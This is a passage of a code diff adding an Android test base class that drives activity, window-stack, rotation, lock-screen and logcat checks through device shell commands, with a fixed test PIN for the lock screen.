+import static android.content.pm.PackageManager.FEATURE_EMBEDDED;
+import static android.content.pm.PackageManager.FEATURE_FREEFORM_WINDOW_MANAGEMENT;
+import static android.content.pm.PackageManager.FEATURE_LEANBACK;
+import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
+import static android.content.pm.PackageManager.FEATURE_SCREEN_LANDSCAPE;
+import static android.content.pm.PackageManager.FEATURE_SCREEN_PORTRAIT;
+import static android.content.pm.PackageManager.FEATURE_VR_MODE;
+import static android.content.pm.PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE;
+import static android.content.pm.PackageManager.FEATURE_WATCH;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+import static android.view.KeyEvent.KEYCODE_APP_SWITCH;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.view.Display;
+import android.view.Surface;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.List;
+import java.util.UUID;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public abstract class ActivityManagerTestBase {
+    private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
+    private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
+    private static final String LOG_SEPARATOR = "LOG_SEPARATOR";
+
+    protected static final int[] ALL_ACTIVITY_TYPE_BUT_HOME = {
+            ACTIVITY_TYPE_STANDARD, ACTIVITY_TYPE_ASSISTANT, ACTIVITY_TYPE_RECENTS,
+            ACTIVITY_TYPE_UNDEFINED
+    };
+
+    private static final String TASK_ID_PREFIX = "taskId";
+
+    private static final String AM_STACK_LIST = "am stack list";
+
+    private static final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.server.am";
+    private static final String AM_FORCE_STOP_SECOND_TEST_PACKAGE
+            = "am force-stop android.server.am.second";
+    private static final String AM_FORCE_STOP_THIRD_TEST_PACKAGE
+            = "am force-stop android.server.am.third";
+
+    protected static final String AM_START_HOME_ACTIVITY_COMMAND =
+            "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
+
+    private static final String AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND_FORMAT =
+            "am stack move-top-activity-to-pinned-stack %1d 0 0 500 500";
+
+    static final String LAUNCHING_ACTIVITY = "LaunchingActivity";
+    static final String ALT_LAUNCHING_ACTIVITY = "AltLaunchingActivity";
+    static final String BROADCAST_RECEIVER_ACTIVITY = "BroadcastReceiverActivity";
+
+    /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
+    static final String FINISH_ACTIVITY_BROADCAST
+            = "am broadcast -a trigger_broadcast --ez finish true";
+
+    /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
+    static final String MOVE_TASK_TO_BACK_BROADCAST
+            = "am broadcast -a trigger_broadcast --ez moveToBack true";
+
+    private static final String AM_RESIZE_DOCKED_STACK = "am stack resize-docked-stack ";
+    private static final String AM_RESIZE_STACK = "am stack resize ";
+
+    static final String AM_MOVE_TASK = "am stack move-task ";
+
+    private static final String AM_NO_HOME_SCREEN = "am no-home-screen";
+
+    private static final String LOCK_CREDENTIAL = "1234";
+
+    private static final int INVALID_DISPLAY_ID = Display.INVALID_DISPLAY;
+
+    private static final String DEFAULT_COMPONENT_NAME = "android.server.am";
+
+    private static final int UI_MODE_TYPE_MASK = 0x0f;
+    private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
+
+    private static Boolean sHasHomeScreen = null;
+
+    // TODO: Remove this when all activity name are specified by {@link ComponentName}.
+    static String componentName = DEFAULT_COMPONENT_NAME;
+
+    protected static final int INVALID_DEVICE_ROTATION = -1;
+
+    protected Context mContext;
+    protected ActivityManager mAm;
+    protected UiDevice mDevice;
+
+    private boolean mLockCredentialsSet;
+
+    private boolean mLockDisabled;
+
+    protected static String getAmStartCmd(final String activityName) {
+        return "am start -n " + getActivityComponentName(activityName);
+    }
+
+    /**
+     * @return the am command to start the given activity with the following extra key/value pairs.
+     *         {@param keyValuePairs} must be a list of arguments defining each key/value extra.
+     */
+    protected static String getAmStartCmd(final String activityName,
+            final String... keyValuePairs) {
+        String base = getAmStartCmd(activityName);
+        if (keyValuePairs.length % 2 != 0) {
+            throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
+        }
+        for (int i = 0; i < keyValuePairs.length; i += 2) {
+            base += " --es " + keyValuePairs[i] + " " + keyValuePairs[i + 1];
+        }
+        return base;
+    }
+
+    protected static String getAmStartCmd(final String activityName, final int displayId) {
+        return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
+                + " --display " + displayId;
+    }
+
+    protected static String getAmStartCmdInNewTask(final String activityName) {
+        return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000";
+    }
+
+    protected static String getAmStartCmdOverHome(final String activityName) {
+        return "am start --activity-task-on-home -n " + getActivityComponentName(activityName);
+    }
+
+    protected static String getMoveToPinnedStackCommand(int stackId) {
+        return String.format(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND_FORMAT, stackId);
+    }
+
+    protected static String getOrientationBroadcast(int orientation) {
+        return "am broadcast -a trigger_broadcast --ei orientation " + orientation;
+    }
+
+    // TODO: Remove this when all activity name are specified by {@link ComponentName}.
+    static String getActivityComponentName(final String activityName) {
+        return getActivityComponentName(componentName, activityName);
+    }
+
+    private static boolean isFullyQualifiedActivityName(String name) {
+        return name != null && name.contains(".");
+    }
+
+    static String getActivityComponentName(final String packageName, final String activityName) {
+        return packageName + "/" + (isFullyQualifiedActivityName(activityName) ? "" : ".") +
+                activityName;
+    }
+
+    // TODO: Remove this when all activity name are specified by {@link ComponentName}.
+    // A little ugly, but lets avoid having to strip static everywhere for
+    // now.
+    public static void setComponentName(String name) {
+        componentName = name;
+    }
+
+    protected static void setDefaultComponentName() {
+        setComponentName(DEFAULT_COMPONENT_NAME);
+    }
+
+    protected static String getBaseWindowName() {
+        return getBaseWindowName(componentName);
+    }
+
+    static String getBaseWindowName(final String packageName) {
+        return getBaseWindowName(packageName, true /*prependPackageName*/);
+    }
+
+    static String getBaseWindowName(final String packageName, boolean prependPackageName) {
+        return packageName + "/" + (prependPackageName ? packageName + "." : "");
+    }
+
+    // TODO: Remove this when all activity name are specified by {@link ComponentName}.
+    static String getWindowName(final String activityName) {
+        return getWindowName(componentName, activityName);
+    }
+
+    static String getWindowName(final String packageName, final String activityName) {
+        return getBaseWindowName(packageName, !isFullyQualifiedActivityName(activityName))
+                + activityName;
+    }
+
+    protected ActivityAndWindowManagersState mAmWmState = new ActivityAndWindowManagersState();
+
+    private int mInitialAccelerometerRotation;
+    private int mUserRotation;
+    private float mFontScale;
+
+    private SurfaceTraceReceiver mSurfaceTraceReceiver;
+    private Thread mSurfaceTraceThread;
+
+    protected void installSurfaceObserver(SurfaceTraceReceiver.SurfaceObserver observer) {
+        mSurfaceTraceReceiver = new SurfaceTraceReceiver(observer);
+        mSurfaceTraceThread = new Thread() {
+            @Override
+            public void run() {
+                try {
+                    registerSurfaceTraceReceiver("wm surface-trace", mSurfaceTraceReceiver);
+                } catch (IOException e) {
+                    logE("Error running wm surface-trace: " + e.toString());
+                }
+            }
+        };
+        mSurfaceTraceThread.start();
+    }
+
+    protected void removeSurfaceObserver() {
+        mSurfaceTraceThread.interrupt();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mAm = mContext.getSystemService(ActivityManager.class);
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        setDefaultComponentName();
+        executeShellCommand("pm grant " + mContext.getPackageName()
+                + " android.permission.MANAGE_ACTIVITY_STACKS");
+        executeShellCommand("pm grant " + mContext.getPackageName()
+                + " android.permission.ACTIVITY_EMBEDDING");
+
+        wakeUpAndUnlockDevice();
+        pressHomeButton();
+        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        // Store rotation settings.
+        mInitialAccelerometerRotation = getAccelerometerRotation();
+        mUserRotation = getUserRotation();
+        mFontScale = getFontScale();
+        mLockCredentialsSet = false;
+        mLockDisabled = isLockDisabled();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        setLockDisabled(mLockDisabled);
+        executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
+        executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
+        executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
+        // Restore rotation settings to the state they were before test.
+        setAccelerometerRotation(mInitialAccelerometerRotation);
+        setUserRotation(mUserRotation);
+        setFontScale(mFontScale);
+            setWindowTransitionAnimationDurationScale(1);
+        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        wakeUpAndUnlockDevice();
+        pressHomeButton();
+    }
+
+    protected void removeStacksWithActivityTypes(int... activityTypes) {
+        mAm.removeStacksWithActivityTypes(activityTypes);
+    }
+
+    protected void removeStacksInWindowingModes(int... windowingModes) {
+        mAm.removeStacksInWindowingModes(windowingModes);
+        waitForIdle();
+    }
+
+    public static String executeShellCommand(String command) {
+        log("Shell command: " + command);
+        try {
+            return SystemUtil
+                    .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+        } catch (IOException e) {
+            //bubble it up
+            logE("Error running shell command: " + command);
+            throw new RuntimeException(e);
+        }
+    }
+
+    protected static void registerSurfaceTraceReceiver(String command, SurfaceTraceReceiver outputReceiver)
+            throws IOException {
+        log("Shell command: " + command);
+        ParcelFileDescriptor pfd = InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .executeShellCommand(command);
+        byte[] buf = new byte[512];
+        int bytesRead;
+        FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+        while ((bytesRead = fis.read(buf)) != -1) {
+            outputReceiver.addOutput(buf, 0, bytesRead);
+        }
+        fis.close();
+    }
+
+    protected Bitmap takeScreenshot() throws Exception {
+        return InstrumentationRegistry.getInstrumentation().getUiAutomation().takeScreenshot();
+    }
+
+    @Deprecated
+    protected void launchActivityInComponent(final String componentName,
+            final String targetActivityName, final String... keyValuePairs) throws Exception {
+        final String originalComponentName = ActivityManagerTestBase.componentName;
+        setComponentName(componentName);
+        launchActivity(targetActivityName, keyValuePairs);
+        setComponentName(originalComponentName);
+    }
+
+    @Deprecated
+    protected void launchActivity(final String targetActivityName, final String... keyValuePairs)
+            throws Exception {
+        executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
+        mAmWmState.waitForValidState(targetActivityName);
+    }
+
+    @Deprecated
+    protected void launchActivityNoWait(final String targetActivityName,
+            final String... keyValuePairs) throws Exception {
+        executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
+    }
+
+    @Deprecated
+    protected void launchActivityInNewTask(final String targetActivityName) throws Exception {
+        executeShellCommand(getAmStartCmdInNewTask(targetActivityName));
+        mAmWmState.waitForValidState(targetActivityName);
+    }
+
+    /**
+     * Starts an activity in a new stack.
+     * @return the stack id of the newly created stack.
+     */
+    @Deprecated
+    protected int launchActivityInNewDynamicStack(final String activityName) throws Exception {
+        HashSet<Integer> stackIds = getStackIds();
+        executeShellCommand("am stack start " + ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID
+                + " " + getActivityComponentName(activityName));
+        HashSet<Integer> newStackIds = getStackIds();
+        newStackIds.removeAll(stackIds);
+        if (newStackIds.isEmpty()) {
+            return INVALID_STACK_ID;
+        } else {
+            assertTrue(newStackIds.size() == 1);
+            return newStackIds.iterator().next();
+        }
+    }
+
+    private void waitForIdle() {
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    /** Returns the set of stack ids. */
+    private HashSet<Integer> getStackIds() throws Exception {
+        mAmWmState.computeState();
+        final List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
+        final HashSet<Integer> stackIds = new HashSet<>();
+        for (ActivityManagerState.ActivityStack s : stacks) {
+            stackIds.add(s.mStackId);
+        }
+        return stackIds;
+    }
+
+    protected void launchHomeActivity()
+            throws Exception {
+        executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
+        mAmWmState.waitForHomeActivityVisible();
+    }
+
+    protected void launchActivityOnDisplay(String targetActivityName, int displayId)
+            throws Exception {
+        executeShellCommand(getAmStartCmd(targetActivityName, displayId));
+
+        mAmWmState.waitForValidState(targetActivityName);
+    }
+
+    /**
+     * Launch specific target activity. It uses existing instance of {@link #LAUNCHING_ACTIVITY}, so
+     * that one should be started first.
+     * @param toSide Launch to side in split-screen.
+     * @param randomData Make intent URI random by generating random data.
+     * @param multipleTask Allow multiple task launch.
+     * @param targetActivityName Target activity to be launched. Only class name should be provided,
+     *                           package name of {@link #LAUNCHING_ACTIVITY} will be added
+     *                           automatically.
+     * @param displayId Display id where target activity should be launched.
+     */
+    protected void launchActivityFromLaunching(boolean toSide, boolean randomData,
+            boolean multipleTask, String targetActivityName, int displayId) throws Exception {
+        StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(LAUNCHING_ACTIVITY));
+        commandBuilder.append(" -f 0x20000000");
+        if (toSide) {
+            commandBuilder.append(" --ez launch_to_the_side true");
+        }
+        if (randomData) {
+            commandBuilder.append(" --ez random_data true");
+        }
+        if (multipleTask) {
+            commandBuilder.append(" --ez multiple_task true");
+        }
+        if (targetActivityName != null) {
+            commandBuilder.append(" --es target_activity ").append(targetActivityName);
+        }
+        if (displayId != INVALID_DISPLAY_ID) {
+            commandBuilder.append(" --ei display_id ").append(displayId);
+        }
+        executeShellCommand(commandBuilder.toString());
+
+        mAmWmState.waitForValidState(targetActivityName);
+    }
+
+    protected void launchActivity(String activityName, int windowingMode,
+            final String... keyValuePairs) throws Exception {
+        executeShellCommand(getAmStartCmd(activityName, keyValuePairs)
+                + " --windowingMode " + windowingMode);
+        mAmWmState.waitForValidState(new WaitForValidActivityState.Builder()
+                .setActivityName(activityName)
+                .setWindowingMode(windowingMode)
+                .build());
+    }
+
+    @Deprecated
+    protected void launchActivityInDockStack(String activityName) throws Exception {
+        launchActivityInDockStack(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
+    }
+
+    @Deprecated
+    protected void launchActivityInDockStack(String activityName, int createMode)
+            throws Exception {
+        launchActivity(activityName);
+        final int taskId = getActivityTaskId(activityName);
+        mAm.setTaskWindowingModeSplitScreenPrimary(taskId, createMode, true /* onTop */,
+                false /* animate */, null /* initialBounds */, false /* showRecents */);
+
+        mAmWmState.waitForValidState(activityName,
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+    }
+
+    protected void launchActivityToSide(boolean randomData, boolean multipleTaskFlag,
+            String targetActivity) throws Exception {
+        final String activityToLaunch = targetActivity != null ? targetActivity : "TestActivity";
+        getLaunchActivityBuilder().setToSide(true).setRandomData(randomData)
+                .setMultipleTask(multipleTaskFlag).setTargetActivityName(activityToLaunch)
+                .execute();
+
+        mAmWmState.waitForValidState(activityToLaunch,
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+    }
+
+    protected void setActivityTaskWindowingMode(String activityName, int windowingMode)
+            throws Exception {
+        final int taskId = getActivityTaskId(activityName);
+        mAm.setTaskWindowingMode(taskId, windowingMode, true /* toTop */);
+        mAmWmState.waitForValidState(activityName, windowingMode, ACTIVITY_TYPE_STANDARD);
+    }
+
+    protected void moveActivityToStack(String activityName, int stackId) throws Exception {
+        final int taskId = getActivityTaskId(activityName);
+        final String cmd = AM_MOVE_TASK + taskId + " " + stackId + " true";
+        executeShellCommand(cmd);
+
+        mAmWmState.waitForValidState(activityName, stackId);
+    }
+
+    protected void resizeActivityTask(String activityName, int left, int top, int right, int bottom)
+            throws Exception {
+        final int taskId = getActivityTaskId(activityName);
+        final String cmd = "am task resize "
+                + taskId + " " + left + " " + top + " " + right + " " + bottom;
+        executeShellCommand(cmd);
+    }
+
+    protected void resizeDockedStack(
+            int stackWidth, int stackHeight, int taskWidth, int taskHeight) {
+        executeShellCommand(AM_RESIZE_DOCKED_STACK
+                + "0 0 " + stackWidth + " " + stackHeight
+                + " 0 0 " + taskWidth + " " + taskHeight);
+    }
+
+    protected void resizeStack(int stackId, int stackLeft, int stackTop, int stackWidth,
+            int stackHeight) {
+        executeShellCommand(AM_RESIZE_STACK + String.format("%d %d %d %d %d", stackId, stackLeft,
+                stackTop, stackWidth, stackHeight));
+    }
+
+    protected void pressHomeButton() {
+        mDevice.pressHome();
+    }
+
+    protected void pressBackButton() {
+        mDevice.pressBack();
+    }
+
+    protected void pressAppSwitchButton() throws Exception {
+        mDevice.pressKeyCode(KEYCODE_APP_SWITCH);
+        mAmWmState.waitForRecentsActivityVisible();
+        mAmWmState.waitForAppTransitionIdle();
+    }
+
+    // Utility method for debugging, not used directly here, but useful, so kept around.
+    protected void printStacksAndTasks() {
+        String output = executeShellCommand(AM_STACK_LIST);
+        for (String line : output.split("\\n")) {
+            log(line);
+        }
+    }
+
+    protected int getActivityTaskId(String name) {
+        String output = executeShellCommand(AM_STACK_LIST);
+        final Pattern activityPattern = Pattern.compile("(.*) " + getWindowName(name) + " (.*)");
+        for (String line : output.split("\\n")) {
+            Matcher matcher = activityPattern.matcher(line);
+            if (matcher.matches()) {
+                for (String word : line.split("\\s+")) {
+                    if (word.startsWith(TASK_ID_PREFIX)) {
+                        final String withColon = word.split("=")[1];
+                        return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
+                    }
+                }
+            }
+        }
+        return -1;
+    }
+
+    protected boolean supportsVrMode() {
+        return hasDeviceFeature(FEATURE_VR_MODE)
+                && hasDeviceFeature(FEATURE_VR_MODE_HIGH_PERFORMANCE);
+    }
+
+    protected boolean supportsPip() {
+        return hasDeviceFeature(FEATURE_PICTURE_IN_PICTURE)
+                || PRETEND_DEVICE_SUPPORTS_PIP;
+    }
+
+    protected boolean supportsFreeform() {
+        return hasDeviceFeature(FEATURE_FREEFORM_WINDOW_MANAGEMENT)
+                || PRETEND_DEVICE_SUPPORTS_FREEFORM;
+    }
+
+    protected boolean isHandheld() {
+        return !hasDeviceFeature(FEATURE_LEANBACK)
+                && !hasDeviceFeature(FEATURE_WATCH)
+                && !hasDeviceFeature(FEATURE_EMBEDDED);
+    }
+
+    protected boolean isTablet() {
+        // Larger than approx 7" tablets
+        return mContext.getResources().getConfiguration().smallestScreenWidthDp >= 600;
+    }
+
+    // TODO: Switch to using a feature flag, when available.
+    protected boolean isUiModeLockedToVrHeadset() {
+        final String output = runCommandAndPrintOutput("dumpsys uimode");
+
+        Integer curUiMode = null;
+        Boolean uiModeLocked = null;
+        for (String line : output.split("\\n")) {
+            line = line.trim();
+            Matcher matcher = sCurrentUiModePattern.matcher(line);
+            if (matcher.find()) {
+                curUiMode = Integer.parseInt(matcher.group(1), 16);
+            }
+            matcher = sUiModeLockedPattern.matcher(line);
+            if (matcher.find()) {
+                uiModeLocked = matcher.group(1).equals("true");
+            }
+        }
+
+        boolean uiModeLockedToVrHeadset = (curUiMode != null) && (uiModeLocked != null)
+                && ((curUiMode & UI_MODE_TYPE_MASK) == UI_MODE_TYPE_VR_HEADSET) && uiModeLocked;
+
+        if (uiModeLockedToVrHeadset) {
+            log("UI mode is locked to VR headset");
+        }
+
+        return uiModeLockedToVrHeadset;
+    }
+
+    protected boolean supportsSplitScreenMultiWindow() {
+        return ActivityManager.supportsSplitScreenMultiWindow(mContext);
+    }
+
+    protected boolean hasHomeScreen() {
+        if (sHasHomeScreen == null) {
+            sHasHomeScreen = !executeShellCommand(AM_NO_HOME_SCREEN).startsWith("true");
+        }
+        return sHasHomeScreen;
+    }
+
+    /**
+     * Rotation support is indicated by explicitly having both landscape and portrait
+     * features or not listing either at all.
+     */
+    protected boolean supportsRotation() {
+        final boolean supportsLandscape = hasDeviceFeature(FEATURE_SCREEN_LANDSCAPE);
+        final boolean supportsPortrait = hasDeviceFeature(FEATURE_SCREEN_PORTRAIT);
+        return (supportsLandscape && supportsPortrait)
+                || (!supportsLandscape && !supportsPortrait);
+    }
+
+    protected boolean hasDeviceFeature(final String requiredFeature) {
+        return InstrumentationRegistry.getContext()
+                .getPackageManager()
+                .hasSystemFeature(requiredFeature);
+    }
+
+    protected boolean isDisplayOn() {
+        String output = executeShellCommand("dumpsys power");
+        for (String line : output.split("\\n")) {
+            line = line.trim();
+
+            final Matcher matcher = sDisplayStatePattern.matcher(line);
+            if (matcher.matches()) {
+                final String state = matcher.group(1);
+                log("power state=" + state);
+                return "ON".equals(state);
+            }
+        }
+        log("power state :(");
+        return false;
+    }
+
+    protected void sleepDevice() {
+        int retriesLeft = 5;
+        runCommandAndPrintOutput("input keyevent SLEEP");
+        do {
+            if (isDisplayOn()) {
+                log("***Waiting for display to turn off...");
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+    }
+
+    protected void wakeUpAndUnlockDevice() {
+        wakeUpDevice();
+        unlockDevice();
+    }
+
+    protected void wakeUpAndRemoveLock() {
+        wakeUpDevice();
+        setLockDisabled(true);
+    }
+
+    protected void wakeUpDevice() {
+        runCommandAndPrintOutput("input keyevent WAKEUP");
+    }
+
+    protected void unlockDevice() {
+        mDevice.pressMenu();
+    }
+
+    protected void unlockDeviceWithCredential() throws Exception {
+        mDevice.pressMenu();
+        try {
+            Thread.sleep(3000);
+        } catch (InterruptedException e) {
+            //ignored
+        }
+        enterAndConfirmLockCredential();
+    }
+
+    protected void enterAndConfirmLockCredential() throws Exception {
+        mDevice.waitForIdle(3000);
+
+        runCommandAndPrintOutput("input text " + LOCK_CREDENTIAL);
+        mDevice.pressEnter();
+    }
+
+    protected void gotoKeyguard() throws Exception {
+        sleepDevice();
+        wakeUpDevice();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+    }
+
+    protected void setLockCredential() {
+        mLockCredentialsSet = true;
+        runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
+    }
+
+    protected void removeLockCredential() {
+        runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
+    }
+
+    /**
+     * Returns whether the lock screen is disabled.
+     * @return true if the lock screen is disabled, false otherwise.
+     */
+    private boolean isLockDisabled() {
+        final String isLockDisabled = runCommandAndPrintOutput("locksettings get-disabled").trim();
+        if ("null".equals(isLockDisabled)) {
+            return false;
+        }
+        return Boolean.parseBoolean(isLockDisabled);
+
+    }
+
+    /**
+     * Disable the lock screen.
+     * @param lockDisabled true if should disable, false otherwise.
+     */
+    void setLockDisabled(boolean lockDisabled) {
+        runCommandAndPrintOutput("locksettings set-disabled " + lockDisabled);
+    }
+
+    /**
+     * Sets the device rotation, value corresponds to one of {@link Surface#ROTATION_0},
+     * {@link Surface#ROTATION_90}, {@link Surface#ROTATION_180}, {@link Surface#ROTATION_270}.
+     */
+    protected void setDeviceRotation(int rotation) throws Exception {
+        setAccelerometerRotation(0);
+        setUserRotation(rotation);
+        mAmWmState.waitForRotation(rotation);
+    }
+
+    protected int getDeviceRotation(int displayId) {
+        final String displays = runCommandAndPrintOutput("dumpsys display displays").trim();
+        Pattern pattern = Pattern.compile(
+                "(mDisplayId=" + displayId + ")([\\s\\S]*)(mOverrideDisplayInfo)(.*)"
+                        + "(rotation)(\\s+)(\\d+)");
+        Matcher matcher = pattern.matcher(displays);
+        while (matcher.find()) {
+            final String match = matcher.group(7);
+            return Integer.parseInt(match);
+        }
+
+        return INVALID_DEVICE_ROTATION;
+    }
+
+    private int getAccelerometerRotation() {
+        final String rotation =
+                runCommandAndPrintOutput("settings get system accelerometer_rotation");
+        return Integer.parseInt(rotation.trim());
+    }
+
+    private void setAccelerometerRotation(int rotation) {
+        runCommandAndPrintOutput(
+                "settings put system accelerometer_rotation " + rotation);
+    }
+
+    protected int getUserRotation() {
+        final String rotation =
+                runCommandAndPrintOutput("settings get system user_rotation").trim();
+        if ("null".equals(rotation)) {
+            return -1;
+        }
+        return Integer.parseInt(rotation);
+    }
+
+    private void setUserRotation(int rotation) {
+        if (rotation == -1) {
+            runCommandAndPrintOutput(
+                    "settings delete system user_rotation");
+        } else {
+            runCommandAndPrintOutput(
+                    "settings put system user_rotation " + rotation);
+        }
+    }
+
+    protected void setFontScale(float fontScale) {
+        if (fontScale == 0.0f) {
+            runCommandAndPrintOutput(
+                    "settings delete system font_scale");
+        } else {
+            runCommandAndPrintOutput(
+                    "settings put system font_scale " + fontScale);
+        }
+    }
+
+    protected void setWindowTransitionAnimationDurationScale(float animDurationScale) {
+        runCommandAndPrintOutput(
+                "settings put global transition_animation_scale " + animDurationScale);
+    }
+
+    protected float getFontScale() {
+        try {
+            final String fontScale =
+                    runCommandAndPrintOutput("settings get system font_scale").trim();
+            return Float.parseFloat(fontScale);
+        } catch (NumberFormatException e) {
+            // If we don't have a valid font scale key, return 0.0f now so
+            // that we delete the key in tearDown().
+            return 0.0f;
+        }
+    }
+
+    protected String runCommandAndPrintOutput(String command) {
+        final String output = executeShellCommand(command);
+        log(output);
+        return output;
+    }
+
+    /**
+     * Tries to clear logcat and inserts log separator in case clearing didn't succeed, so we can
+     * always find the starting point from where to evaluate following logs.
+     * @return Unique log separator.
+     */
+    protected String clearLogcat() {
+        executeShellCommand("logcat -c");
+        final String uniqueString = UUID.randomUUID().toString();
+        executeShellCommand("log -t " + LOG_SEPARATOR + " " + uniqueString);
+        return uniqueString;
+    }
+
+    void assertActivityLifecycle(String activityName, boolean relaunched,
+            String logSeparator) {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = verifyLifecycleCondition(activityName, logSeparator, relaunched);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+    private String verifyLifecycleCondition(String activityName, String logSeparator,
+            boolean relaunched) {
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+        if (relaunched) {
+            if (lifecycleCounts.mDestroyCount < 1) {
+                return activityName + " must have been destroyed. mDestroyCount="
+                        + lifecycleCounts.mDestroyCount;
+            }
+            if (lifecycleCounts.mCreateCount < 1) {
+                return activityName + " must have been (re)created. mCreateCount="
+                        + lifecycleCounts.mCreateCount;
+            }
+        } else {
+            if (lifecycleCounts.mDestroyCount > 0) {
+                return activityName + " must *NOT* have been destroyed. mDestroyCount="
+                        + lifecycleCounts.mDestroyCount;
+            }
+            if (lifecycleCounts.mCreateCount > 0) {
+                return activityName + " must *NOT* have been (re)created. mCreateCount="
+                        + lifecycleCounts.mCreateCount;
+            }
+            if (lifecycleCounts.mConfigurationChangedCount < 1) {
+                return activityName + " must have received configuration changed. "
+                        + "mConfigurationChangedCount="
+                        + lifecycleCounts.mConfigurationChangedCount;
+            }
+        }
+        return null;
+    }
+
+    protected void assertRelaunchOrConfigChanged(
+            String activityName, int numRelaunch, int numConfigChange, String logSeparator) {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = verifyRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange,
+                    logSeparator);
+            if (resultString != null) {
+                log("***Waiting for relaunch or config changed: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+    private String verifyRelaunchOrConfigChanged(String activityName, int numRelaunch,
+            int numConfigChange, String logSeparator) {
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+
+        if (lifecycleCounts.mDestroyCount != numRelaunch) {
+            return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
+                    + " time(s), expecting " + numRelaunch;
+        } else if (lifecycleCounts.mCreateCount != numRelaunch) {
+            return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
+                    + " time(s), expecting " + numRelaunch;
+        } else if (lifecycleCounts.mConfigurationChangedCount != numConfigChange) {
+            return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+                    + " onConfigurationChanged() calls, expecting " + numConfigChange;
+        }
+        return null;
+    }
+
+    protected void assertActivityDestroyed(String activityName, String logSeparator) {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = verifyActivityDestroyed(activityName, logSeparator);
+            if (resultString != null) {
+                log("***Waiting for activity destroyed: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+    private String verifyActivityDestroyed(String activityName, String logSeparator) {
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+
+        if (lifecycleCounts.mDestroyCount != 1) {
+            return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
+                    + " time(s), expecting single destruction.";
+        } else if (lifecycleCounts.mCreateCount != 0) {
